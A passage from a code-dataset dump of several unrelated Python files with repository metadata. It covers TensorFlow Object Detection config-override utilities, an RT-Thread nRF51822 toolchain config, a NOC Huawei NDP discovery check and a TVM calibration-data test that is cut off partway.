Rather than creating a new config text file for each experiment, one can use a single base config file, and update particular values. There are two types of field overrides: 1. Strategy-based overrides, which update multiple relevant configuration options. For example, updating `learning_rate` will update both the warmup and final learning rates. In this case key can be one of the following formats: 1. legacy update: single string that indicates the attribute to be updated. E.g. 'label_map_path', 'eval_input_path', 'shuffle'. Note that when updating fields (e.g. eval_input_path, eval_shuffle) in eval_input_configs, the override will only be applied when eval_input_configs has exactly 1 element. 2. specific update: colon separated string that indicates which field in which input_config to update. It should have 3 fields: - key_name: Name of the input config we should update, either 'train_input_config' or 'eval_input_configs' - input_name: a 'name' that can be used to identify elements, especially when configs[key_name] is a repeated field. - field_name: name of the field that you want to override. For example, given configs dict as below: configs = { 'model': {...} 'train_config': {...} 'train_input_config': {...} 'eval_config': {...} 'eval_input_configs': [{ name:"eval_coco", ...}, { name:"eval_voc", ... }] } Assume we want to update the input_path of the eval_input_config whose name is 'eval_coco'. The `key` would then be: 'eval_input_configs:eval_coco:input_path' 2. Generic key/value, which update a specific parameter based on namespaced configuration keys. For example, `model.ssd.loss.hard_example_miner.max_negatives_per_positive` will update the hard example miner configuration for an SSD model config. Generic overrides are automatically detected based on the namespaced keys. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). hparams: A `HParams`. kwargs_dict: Extra keyword arguments that are treated the same way as attribute/value pairs in `hparams`. Note that hyperparameters with the same names will override keyword arguments. Returns: `configs` dictionary. Raises: ValueError: when the key string doesn't match any of its allowed formats. """ if kwargs_dict is None: kwargs_dict = {} if hparams: kwargs_dict.update(hparams.values()) for key, value in kwargs_dict.items(): tf.logging.info("Maybe overwriting %s: %s", key, value) # pylint: disable=g-explicit-bool-comparison if value == "" or value is None: continue # pylint: enable=g-explicit-bool-comparison elif _maybe_update_config_with_key_value(configs, key, value): continue elif _is_generic_key(key): _update_generic(configs, key, value) else: tf.logging.info("Ignoring config override key: %s", key) return configs def _maybe_update_config_with_key_value(configs, key, value): """Checks key type and updates `configs` with the key value pair accordingly. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). key: String indicates the field(s) to be updated. value: Value used to override existing field value. Returns: A boolean value that indicates whether the override succeeds. Raises: ValueError: when the key string doesn't match any of the formats above. """ is_valid_input_config_key, key_name, input_name, field_name = ( check_and_parse_input_config_key(configs, key)) if is_valid_input_config_key: update_input_reader_config( configs, key_name=key_name, input_name=input_name, field_name=field_name, value=value) elif field_name == "learning_rate": _update_initial_learning_rate(configs, value) elif field_name == "batch_size": _update_batch_size(configs, value) elif field_name == "momentum_optimizer_value": _update_momentum_optimizer_value(configs, value) elif field_name == "classification_localization_weight_ratio": # Localization weight is fixed to 1.0. _update_classification_localization_weight_ratio(configs, value) elif field_name == "focal_loss_gamma": _update_focal_loss_gamma(configs, value) elif field_name == "focal_loss_alpha": _update_focal_loss_alpha(configs, value) elif field_name == "train_steps": _update_train_steps(configs, value) elif field_name == "label_map_path": _update_label_map_path(configs, value) elif field_name == "mask_type": _update_mask_type(configs, value) elif field_name == "sample_1_of_n_eval_examples": _update_all_eval_input_configs(configs, "sample_1_of_n_examples", value) elif field_name == "eval_num_epochs": _update_all_eval_input_configs(configs, "num_epochs", value) elif field_name == "eval_with_moving_averages": _update_use_moving_averages(configs, value) elif field_name == "retain_original_images_in_eval": _update_retain_original_images(configs["eval_config"], value) elif field_name == "use_bfloat16": _update_use_bfloat16(configs, value) elif field_name == "retain_original_image_additional_channels_in_eval": _update_retain_original_image_additional_channels(configs["eval_config"], value) elif field_name == "num_classes": _update_num_classes(configs["model"], value) elif field_name == "sample_from_datasets_weights": _update_sample_from_datasets_weights(configs["train_input_config"], value) elif field_name == "peak_max_pool_kernel_size": _update_peak_max_pool_kernel_size(configs["model"], value) elif field_name == "candidate_search_scale": _update_candidate_search_scale(configs["model"], value) elif field_name == "candidate_ranking_mode": _update_candidate_ranking_mode(configs["model"], value) elif field_name == "score_distance_offset": _update_score_distance_offset(configs["model"], value) elif field_name == "box_scale": _update_box_scale(configs["model"], value) elif field_name == "keypoint_candidate_score_threshold": _update_keypoint_candidate_score_threshold(configs["model"], value) elif field_name == "rescore_instances": _update_rescore_instances(configs["model"], value) elif field_name == "unmatched_keypoint_score": _update_unmatched_keypoint_score(configs["model"], value) elif field_name == "score_distance_multiplier": _update_score_distance_multiplier(configs["model"], value) elif field_name == "std_dev_multiplier": _update_std_dev_multiplier(configs["model"], value) elif field_name == "rescoring_threshold": _update_rescoring_threshold(configs["model"], value) else: return False return True def _update_tf_record_input_path(input_config, input_path): """Updates input configuration to reflect a new input path. The input_config object is updated in place, and hence not returned. Args: input_config: A input_reader_pb2.InputReader. input_path: A path to data or list of paths. Raises: TypeError: if input reader type is not `tf_record_input_reader`. """ input_reader_type = input_config.WhichOneof("input_reader") if input_reader_type == "tf_record_input_reader": input_config.tf_record_input_reader.ClearField("input_path") if isinstance(input_path, list): input_config.tf_record_input_reader.input_path.extend(input_path) else: input_config.tf_record_input_reader.input_path.append(input_path) else: raise TypeError("Input reader type must be `tf_record_input_reader`.") def update_input_reader_config(configs, key_name=None, input_name=None, field_name=None, value=None, path_updater=_update_tf_record_input_path): """Updates specified input reader config field. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). key_name: Name of the input config we should update, either 'train_input_config' or 'eval_input_configs' input_name: String name used to identify input config to update with. Should be either None or value of the 'name' field in one of the input reader configs. field_name: Field name in input_reader_pb2.InputReader. value: Value used to override existing field value. path_updater: helper function used to update the input path. Only used when field_name is "input_path". Raises: ValueError: when input field_name is None. ValueError: when input_name is None and number of eval_input_readers does not equal to 1. """ if isinstance(configs[key_name], input_reader_pb2.InputReader): # Updates singular input_config object. target_input_config = configs[key_name] if field_name == "input_path": path_updater(input_config=target_input_config, input_path=value) else: setattr(target_input_config, field_name, value) elif input_name is None and len(configs[key_name]) == 1: # Updates first (and the only) object of input_config list. target_input_config = configs[key_name][0] if field_name == "input_path": path_updater(input_config=target_input_config, input_path=value) else: setattr(target_input_config, field_name, value) elif input_name is not None and len(configs[key_name]): # Updates input_config whose name matches input_name. update_count = 0 for input_config in configs[key_name]: if input_config.name == input_name: setattr(input_config, field_name, value) update_count = update_count + 1 if not update_count: raise ValueError( "Input name {} not found when overriding.".format(input_name)) elif update_count > 1: raise ValueError("Duplicate input name found when overriding.") else: key_name = "None" if key_name is None else key_name input_name = "None" if input_name is None else input_name field_name = "None" if field_name is None else field_name raise ValueError("Unknown input config overriding: " "key_name:{}, input_name:{}, field_name:{}.".format( key_name, input_name, field_name)) def _update_initial_learning_rate(configs, learning_rate): """Updates `configs` to reflect the new initial learning rate. This function updates the initial learning rate. For learning rate schedules, all other defined learning rates in the pipeline config are scaled to maintain their same ratio with the initial learning rate. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). learning_rate: Initial learning rate for optimizer. Raises: TypeError: if optimizer type is not supported, or if learning rate type is not supported. """ optimizer_type = get_optimizer_type(configs["train_config"]) if optimizer_type == "rms_prop_optimizer": optimizer_config = configs["train_config"].optimizer.rms_prop_optimizer elif optimizer_type == "momentum_optimizer": optimizer_config = configs["train_config"].optimizer.momentum_optimizer elif optimizer_type == "adam_optimizer": optimizer_config = configs["train_config"].optimizer.adam_optimizer else: raise TypeError("Optimizer %s is not supported." % optimizer_type) learning_rate_type = get_learning_rate_type(optimizer_config) if learning_rate_type == "constant_learning_rate": constant_lr = optimizer_config.learning_rate.constant_learning_rate constant_lr.learning_rate = learning_rate elif learning_rate_type == "exponential_decay_learning_rate": exponential_lr = ( optimizer_config.learning_rate.exponential_decay_learning_rate) exponential_lr.initial_learning_rate = learning_rate elif learning_rate_type == "manual_step_learning_rate": manual_lr = optimizer_config.learning_rate.manual_step_learning_rate original_learning_rate = manual_lr.initial_learning_rate learning_rate_scaling = float(learning_rate) / original_learning_rate manual_lr.initial_learning_rate = learning_rate for schedule in manual_lr.schedule: schedule.learning_rate *= learning_rate_scaling elif learning_rate_type == "cosine_decay_learning_rate": cosine_lr = optimizer_config.learning_rate.cosine_decay_learning_rate learning_rate_base = cosine_lr.learning_rate_base warmup_learning_rate = cosine_lr.warmup_learning_rate warmup_scale_factor = warmup_learning_rate / learning_rate_base cosine_lr.learning_rate_base = learning_rate cosine_lr.warmup_learning_rate = warmup_scale_factor * learning_rate else: raise TypeError("Learning rate %s is not supported." % learning_rate_type) def _update_batch_size(configs, batch_size): """Updates `configs` to reflect the new training batch size. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). batch_size: Batch size to use for training (Ideally a power of 2). Inputs are rounded, and capped to be 1 or greater. """ configs["train_config"].batch_size = max(1, int(round(batch_size))) def _validate_message_has_field(message, field): if not message.HasField(field): raise ValueError("Expecting message to have field %s" % field) def _update_generic(configs, key, value): """Update a pipeline configuration parameter based on a generic key/value. Args: configs: Dictionary of pipeline configuration protos. key: A string key, dot-delimited to represent the argument key. e.g. "model.ssd.train_config.batch_size" value: A value to set the argument to. The type of the value must match the type for the protocol buffer. Note that setting the wrong type will result in a TypeError. e.g. 42 Raises: ValueError if the message key does not match the existing proto fields. TypeError the value type doesn't match the protobuf field type. """ fields = key.split(".") first_field = fields.pop(0) last_field = fields.pop() message = configs[first_field] for field in fields: _validate_message_has_field(message, field) message = getattr(message, field) _validate_message_has_field(message, last_field) setattr(message, last_field, value) def _update_momentum_optimizer_value(configs, momentum): """Updates `configs` to reflect the new momentum value. Momentum is only supported for RMSPropOptimizer and MomentumOptimizer. For any other optimizer, no changes take place. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). momentum: New momentum value. Values are clipped at 0.0 and 1.0. Raises: TypeError: If the optimizer type is not `rms_prop_optimizer` or `momentum_optimizer`. """ optimizer_type = get_optimizer_type(configs["train_config"]) if optimizer_type == "rms_prop_optimizer": optimizer_config = configs["train_config"].optimizer.rms_prop_optimizer elif optimizer_type == "momentum_optimizer": optimizer_config = configs["train_config"].optimizer.momentum_optimizer else: raise TypeError("Optimizer type must be one of `rms_prop_optimizer` or " "`momentum_optimizer`.") optimizer_config.momentum_optimizer_value = min(max(0.0, momentum), 1.0) def _update_classification_localization_weight_ratio(configs, ratio): """Updates the classification/localization weight loss ratio. Detection models usually define a loss weight for both classification and objectness. This function updates the weights such that the ratio between classification weight to localization weight is the ratio provided. Arbitrarily, localization weight is set to 1.0. Note that in the case of Faster R-CNN, this same ratio is applied to the first stage objectness loss weight relative to localization loss weight. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). ratio: Desired ratio of classification (and/or objectness) loss weight to localization loss weight. """ meta_architecture = configs["model"].WhichOneof("model") if meta_architecture == "faster_rcnn": model = configs["model"].faster_rcnn model.first_stage_localization_loss_weight = 1.0 model.first_stage_objectness_loss_weight = ratio model.second_stage_localization_loss_weight = 1.0 model.second_stage_classification_loss_weight = ratio if meta_architecture == "ssd": model = configs["model"].ssd model.loss.localization_weight = 1.0 model.loss.classification_weight = ratio def _get_classification_loss(model_config): """Returns the classification loss for a model.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "faster_rcnn": model = model_config.faster_rcnn classification_loss = model.second_stage_classification_loss elif meta_architecture == "ssd": model = model_config.ssd classification_loss = model.loss.classification_loss else: raise TypeError("Did not recognize the model architecture.") return classification_loss def _update_focal_loss_gamma(configs, gamma): """Updates the gamma value for a sigmoid focal loss. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). gamma: Exponent term in focal loss. Raises: TypeError: If the classification loss is not `weighted_sigmoid_focal`. """ classification_loss = _get_classification_loss(configs["model"]) classification_loss_type = classification_loss.WhichOneof( "classification_loss") if classification_loss_type != "weighted_sigmoid_focal": raise TypeError("Classification loss must be `weighted_sigmoid_focal`.") classification_loss.weighted_sigmoid_focal.gamma = gamma def _update_focal_loss_alpha(configs, alpha): """Updates the alpha value for a sigmoid focal loss. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). alpha: Class weight multiplier for sigmoid loss. Raises: TypeError: If the classification loss is not `weighted_sigmoid_focal`. """ classification_loss = _get_classification_loss(configs["model"]) classification_loss_type = classification_loss.WhichOneof( "classification_loss") if classification_loss_type != "weighted_sigmoid_focal": raise TypeError("Classification loss must be `weighted_sigmoid_focal`.") classification_loss.weighted_sigmoid_focal.alpha = alpha def _update_train_steps(configs, train_steps): """Updates `configs` to reflect new number of training steps.""" configs["train_config"].num_steps = int(train_steps) def _update_all_eval_input_configs(configs, field, value): """Updates the content of `field` with `value` for all eval input configs.""" for eval_input_config in configs["eval_input_configs"]: setattr(eval_input_config, field, value) def _update_label_map_path(configs, label_map_path): """Updates the label map path for both train and eval input readers. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). label_map_path: New path to `StringIntLabelMap` pbtxt file. """ configs["train_input_config"].label_map_path = label_map_path _update_all_eval_input_configs(configs, "label_map_path", label_map_path) def _update_mask_type(configs, mask_type): """Updates the mask type for both train and eval input readers. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). mask_type: A string name representing a value of input_reader_pb2.InstanceMaskType """ configs["train_input_config"].mask_type = mask_type _update_all_eval_input_configs(configs, "mask_type", mask_type) def _update_use_moving_averages(configs, use_moving_averages): """Updates the eval config option to use or not use moving averages. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). use_moving_averages: Boolean indicating whether moving average variables should be loaded during evaluation. """ configs["eval_config"].use_moving_averages = use_moving_averages def _update_retain_original_images(eval_config, retain_original_images): """Updates eval config with option to retain original images. The eval_config object is updated in place, and hence not returned. Args: eval_config: A eval_pb2.EvalConfig. retain_original_images: Boolean indicating whether to retain original images in eval mode. """ eval_config.retain_original_images = retain_original_images def _update_use_bfloat16(configs, use_bfloat16): """Updates `configs` to reflect the new setup on whether to use bfloat16. The configs dictionary is updated in place, and hence not returned. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). use_bfloat16: A bool, indicating whether to use bfloat16 for training. """ configs["train_config"].use_bfloat16 = use_bfloat16 def _update_retain_original_image_additional_channels( eval_config, retain_original_image_additional_channels): """Updates eval config to retain original image additional channels or not. The eval_config object is updated in place, and hence not returned. Args: eval_config: A eval_pb2.EvalConfig. retain_original_image_additional_channels: Boolean indicating whether to retain original image additional channels in eval mode. """ eval_config.retain_original_image_additional_channels = ( retain_original_image_additional_channels) def remove_unnecessary_ema(variables_to_restore, no_ema_collection=None): """Remap and Remove EMA variable that are not created during training. ExponentialMovingAverage.variables_to_restore() returns a map of EMA names to tf variables to restore. E.g.: { conv/batchnorm/gamma/ExponentialMovingAverage: conv/batchnorm/gamma, conv_4/conv2d_params/ExponentialMovingAverage: conv_4/conv2d_params, global_step: global_step } This function takes care of the extra ExponentialMovingAverage variables that get created during eval but aren't available in the checkpoint, by remapping the key to the variable itself, and remove the entry of its EMA from the variables to restore. An example resulting dictionary would look like: { conv/batchnorm/gamma: conv/batchnorm/gamma, conv_4/conv2d_params: conv_4/conv2d_params, global_step: global_step } Args: variables_to_restore: A dictionary created by ExponentialMovingAverage. variables_to_restore(). no_ema_collection: A list of namescope substrings to match the variables to eliminate EMA. Returns: A variables_to_restore dictionary excluding the collection of unwanted EMA mapping. """ if no_ema_collection is None: return variables_to_restore restore_map = {} for key in variables_to_restore: if ("ExponentialMovingAverage" in key and any([name in key for name in no_ema_collection])): new_key = key.replace("/ExponentialMovingAverage", "") else: new_key = key restore_map[new_key] = variables_to_restore[key] return restore_map def _update_num_classes(model_config, num_classes): meta_architecture = model_config.WhichOneof("model") if meta_architecture == "faster_rcnn": model_config.faster_rcnn.num_classes = num_classes if meta_architecture == "ssd": model_config.ssd.num_classes = num_classes def _update_sample_from_datasets_weights(input_reader_config, weights): """Updated sample_from_datasets_weights with overrides.""" if len(weights) != len(input_reader_config.sample_from_datasets_weights): raise ValueError( "sample_from_datasets_weights override has a different number of values" " ({}) than the configured dataset weights ({})." .format( len(input_reader_config.sample_from_datasets_weights), len(weights))) del input_reader_config.sample_from_datasets_weights[:] input_reader_config.sample_from_datasets_weights.extend(weights) def _update_peak_max_pool_kernel_size(model_config, kernel_size): """Updates the max pool kernel size (NMS) for keypoints in CenterNet.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.peak_max_pool_kernel_size = kernel_size else: tf.logging.warning("Ignoring config override key for " "peak_max_pool_kernel_size since there are multiple " "keypoint estimation tasks") def _update_candidate_search_scale(model_config, search_scale): """Updates the keypoint candidate search scale in CenterNet.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.candidate_search_scale = search_scale else: tf.logging.warning("Ignoring config override key for " "candidate_search_scale since there are multiple " "keypoint estimation tasks") def _update_candidate_ranking_mode(model_config, mode): """Updates how keypoints are snapped to candidates in CenterNet.""" if mode not in ("min_distance", "score_distance_ratio", "score_scaled_distance_ratio", "gaussian_weighted"): raise ValueError("Attempting to set the keypoint candidate ranking mode " "to {}, but the only options are 'min_distance', " "'score_distance_ratio', 'score_scaled_distance_ratio', " "'gaussian_weighted'.".format(mode)) meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.candidate_ranking_mode = mode else: tf.logging.warning("Ignoring config override key for " "candidate_ranking_mode since there are multiple " "keypoint estimation tasks") def _update_score_distance_offset(model_config, offset): """Updates the keypoint candidate selection metric. See CenterNet proto.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.score_distance_offset = offset else: tf.logging.warning("Ignoring config override key for " "score_distance_offset since there are multiple " "keypoint estimation tasks") def _update_box_scale(model_config, box_scale): """Updates the keypoint candidate search region. See CenterNet proto.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.box_scale = box_scale else: tf.logging.warning("Ignoring config override key for box_scale since " "there are multiple keypoint estimation tasks") def _update_keypoint_candidate_score_threshold(model_config, threshold): """Updates the keypoint candidate score threshold. See CenterNet proto.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.keypoint_candidate_score_threshold = threshold else: tf.logging.warning("Ignoring config override key for " "keypoint_candidate_score_threshold since there are " "multiple keypoint estimation tasks") def _update_rescore_instances(model_config, should_rescore): """Updates whether boxes should be rescored based on keypoint confidences.""" if isinstance(should_rescore, str): should_rescore = True if should_rescore == "True" else False meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.rescore_instances = should_rescore else: tf.logging.warning("Ignoring config override key for " "rescore_instances since there are multiple keypoint " "estimation tasks") def _update_unmatched_keypoint_score(model_config, score): meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.unmatched_keypoint_score = score else: tf.logging.warning("Ignoring config override key for " "unmatched_keypoint_score since there are multiple " "keypoint estimation tasks") def _update_score_distance_multiplier(model_config, score_distance_multiplier): """Updates the keypoint candidate selection metric. See CenterNet proto.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.score_distance_multiplier = score_distance_multiplier else: tf.logging.warning("Ignoring config override key for " "score_distance_multiplier since there are multiple " "keypoint estimation tasks") else: raise ValueError( "Unsupported meta_architecture type: %s" % meta_architecture) def _update_std_dev_multiplier(model_config, std_dev_multiplier): """Updates the keypoint candidate selection metric. See CenterNet proto.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.std_dev_multiplier = std_dev_multiplier else: tf.logging.warning("Ignoring config override key for " "std_dev_multiplier since there are multiple " "keypoint estimation tasks") else: raise ValueError( "Unsupported meta_architecture type: %s" % meta_architecture) def _update_rescoring_threshold(model_config, rescoring_threshold): """Updates the keypoint candidate selection metric. See CenterNet proto.""" meta_architecture = model_config.WhichOneof("model") if meta_architecture == "center_net": if len(model_config.center_net.keypoint_estimation_task) == 1: kpt_estimation_task = model_config.center_net.keypoint_estimation_task[0] kpt_estimation_task.rescoring_threshold = rescoring_threshold else: tf.logging.warning("Ignoring config override key for " "rescoring_threshold since there are multiple " "keypoint estimation tasks") else: raise ValueError( "Unsupported meta_architecture type: %s" % meta_architecture)

41.357704

81

0.729485

bfa1a160f12e69c398b1015d1dbf25f17e847797

2,499

py

Python

bsp/nrf5x/nrf51822/rtconfig.py

rockonedege/rt-thread

4fe6c709d0bfe719bed6c927f0144ba373bbda5a

[ "Apache-2.0" ]

7,482

2015-01-01T09:23:08.000Z

2022-03-31T19:34:05.000Z

bsp/nrf5x/nrf51822/rtconfig.py

ArdaFu/rt-thread

eebb2561ec166e0016187c7b7998ada4f8212b3a

[ "Apache-2.0" ]

2,543

2015-01-09T02:01:34.000Z

2022-03-31T23:10:14.000Z

bsp/nrf5x/nrf51822/rtconfig.py

ArdaFu/rt-thread

eebb2561ec166e0016187c7b7998ada4f8212b3a

[ "Apache-2.0" ]

4,645

2015-01-06T07:05:31.000Z

2022-03-31T18:21:50.000Z

import os # toolchains options ARCH='arm' CPU='cortex-m0' CROSS_TOOL='keil' if os.getenv('RTT_CC'): CROSS_TOOL = os.getenv('RTT_CC') # cross_tool provides the cross compiler # EXEC_PATH is the compiler execute path, for example, CodeSourcery, Keil MDK, IAR if CROSS_TOOL == 'gcc': PLATFORM = 'gcc' EXEC_PATH = 'D:/SourceryGCC/bin' elif CROSS_TOOL == 'keil': PLATFORM = 'armcc' EXEC_PATH = 'C:/Keil_v5' elif CROSS_TOOL == 'iar': print('================ERROR============================') print('Not support iar yet!') print('=================================================') exit(0) if os.getenv('RTT_EXEC_PATH'): EXEC_PATH = os.getenv('RTT_EXEC_PATH') BUILD = 'debug' if PLATFORM == 'gcc': # toolchains PREFIX = 'arm-none-eabi-' CC = PREFIX + 'gcc' AS = PREFIX + 'gcc' AR = PREFIX + 'ar' LINK = PREFIX + 'gcc' TARGET_EXT = 'elf' SIZE = PREFIX + 'size' OBJDUMP = PREFIX + 'objdump' OBJCPY = PREFIX + 'objcopy' DEVICE = ' -mcpu='+CPU + ' -mthumb -ffunction-sections -fdata-sections' CFLAGS = DEVICE AFLAGS = ' -c' + DEVICE + ' -x assembler-with-cpp' LFLAGS = DEVICE + ' -Wl,--gc-sections,-Map=rtthread.map,-cref,-u,Reset_Handler -T board/linker_scripts/link.lds' CPATH = '' LPATH = '' if BUILD == 'debug': CFLAGS += ' -O0 -gdwarf-2' AFLAGS += ' -gdwarf-2' else: CFLAGS += ' -O2' POST_ACTION = OBJCPY + ' -O binary $TARGET rtthread.bin\n' + SIZE + ' $TARGET \n' elif PLATFORM == 'armcc': # toolchains CC = 'armcc' AS = 'armasm' AR = 'armar' LINK = 'armlink' TARGET_EXT = 'axf' DEVICE = ' --device DARMSTM' CFLAGS = DEVICE + ' --apcs=interwork' AFLAGS = DEVICE LFLAGS = DEVICE + ' --info sizes --info totals --info unused --info veneers --list rtthread.map --scatter "board\linker_scripts\link.sct"' CFLAGS += ' --c99' CFLAGS += ' -I' + EXEC_PATH + '/ARM/RV31/INC' LFLAGS += ' --libpath ' + EXEC_PATH + '/ARM/RV31/LIB' EXEC_PATH += '/arm/bin40/' if BUILD == 'debug': CFLAGS += ' -g -O0' AFLAGS += ' -g' else: CFLAGS += ' -O2' POST_ACTION = 'fromelf --bin $TARGET --output rtthread.bin \nfromelf -z $TARGET' def dist_handle(BSP_ROOT, dist_dir): import sys cwd_path = os.getcwd() sys.path.append(os.path.join(os.path.dirname(BSP_ROOT), 'tools')) from sdk_dist import dist_do_building dist_do_building(BSP_ROOT, dist_dir)

26.870968

142

0.57503

17ad4871feefea07c0740a488d99ba8c0d14ba9b

923

py

Python

services/discovery/jobs/box/huawei_ndp.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

84

2017-10-22T11:01:39.000Z

2022-02-27T03:43:48.000Z

services/discovery/jobs/box/huawei_ndp.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

22

2017-12-11T07:21:56.000Z

2021-09-23T02:53:50.000Z

services/discovery/jobs/box/huawei_ndp.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

23

2017-12-06T06:59:52.000Z

2022-02-24T00:02:25.000Z

# --------------------------------------------------------------------- # Huawei NDP check # --------------------------------------------------------------------- # Copyright (C) 2007-2016 The NOC Project # See LICENSE for details # --------------------------------------------------------------------- # NOC modules from noc.services.discovery.jobs.base import TopologyDiscoveryCheck class HuaweiNDPCheck(TopologyDiscoveryCheck): """ CDP Topology discovery """ name = "huawei_ndp" required_script = "get_huawei_ndp_neighbors" required_capabilities = ["Huawei | NDP"] def iter_neighbors(self, mo): for n in mo.scripts.get_huawei_ndp_neighbors(): if len(n["neighbors"]) == 1: nn = n["neighbors"][0] yield (n["local_interface"], nn["chassis_mac"], nn["interface"]) def get_neighbor(self, n): return self.get_neighbor_by_mac(n)

31.827586

80

0.503792

c38271e0ec98c779f1755c0ae3e7f40538620917

2,248

py

Python

tests/test_analysis_get_calibration_data.py

anonymousWork000/TVMfuzz

0ccbb33af89758b8ead59a8c686645246ccd0545

[ "Apache-2.0" ]

16

2021-05-22T07:39:53.000Z

2022-02-23T14:50:38.000Z

tests/test_analysis_get_calibration_data.py

anonymousWork000/TVMfuzz

0ccbb33af89758b8ead59a8c686645246ccd0545

[ "Apache-2.0" ]

null

tests/test_analysis_get_calibration_data.py

anonymousWork000/TVMfuzz

0ccbb33af89758b8ead59a8c686645246ccd0545

[ "Apache-2.0" ]

3

2021-05-28T07:12:14.000Z

2021-11-28T02:10:48.000Z

import numpy as np import tvm import tvm.relay.testing from tvm import relay from tvm.relay import transform from tvm.relay.analysis import get_calibration_data def check_data_size(mod, data): assert len(data) == len(mod.functions) - 1 for key, value in mod.functions.items(): if key.name_hint != "main": assert len(data[key]["inputs"]) == len(value.params) if isinstance(value.body, relay.Tuple): assert len(data[key]["outputs"]) == len(value.body.fields) else: assert len(data[key]["outputs"]) == 1 def test_simple_graph(): # A module with two subgraphs mod = tvm.IRModule() x0 = relay.var("x0", shape=(8, 8)) y0 = relay.var("y0", shape=(8, 8)) z0 = x0 + y0 z1 = x0 - y0 z2 = relay.Tuple((z0, z1)) f0 = relay.Function([x0, y0], z2) f0 = f0.with_attr("Compiler", "test_graph") g0 = relay.GlobalVar("g0") mod[g0] = f0 x1 = relay.var("x1", shape=(8, 8)) y1 = relay.var("y1", shape=(8, 8)) z1 = x1 - y1 f1 = relay.Function([x1, y1], z1) f1 = f1.with_attr("Compiler", "test_graph") g1 = relay.GlobalVar("g1") mod[g1] = f1 x = relay.var("x", shape=(8, 8)) y = relay.var("y", shape=(8, 8)) z = relay.var("z", shape=(8, 8)) c0 = relay.Call(g0, [x, y]) c1 = relay.Call(g1, [relay.TupleGetItem(c0, 0), z]) fm = relay.Function([x, y, z], c1) mod["main"] = fm x_data = np.random.rand(8, 8).astype("float32") y_data = np.random.rand(8, 8).astype("float32") z_data = np.random.rand(8, 8).astype("float32") data = get_calibration_data(mod, {"x": x_data, "y": y_data, "z": z_data}) # Check the number and orders check_data_size(mod, data) def test_mobilenet_dnnl(): # if not tvm.get_global_func("relay.ext.dnnl", True): # print("skip because DNNL codegen is not available") # return dtype = "float32" ishape = (1, 3, 224, 224) mod, params = relay.testing.mobilenet.get_workload(batch_size=1, dtype="float32") mod = transform.AnnotateTarget(["dnnl"])(mod) mod = transform.MergeCompilerRegions()(mod) mod = transform.PartitionGraph()(mod) i_data = np.random.uniform(0, 1, ishape).astype(dtype)

30.794521

85

0.601423

f927cdaa9a9342d8e13c04314a6033dd7b28485a

10,631

py

Python

test/functional-tests/PfwTestCase/Types/tINT16.py

MIPS/external-parameter-framework

7f346c9058f39a533a2eaadc9ebc4001397c6ff9

[ "BSD-3-Clause" ]

null

test/functional-tests/PfwTestCase/Types/tINT16.py

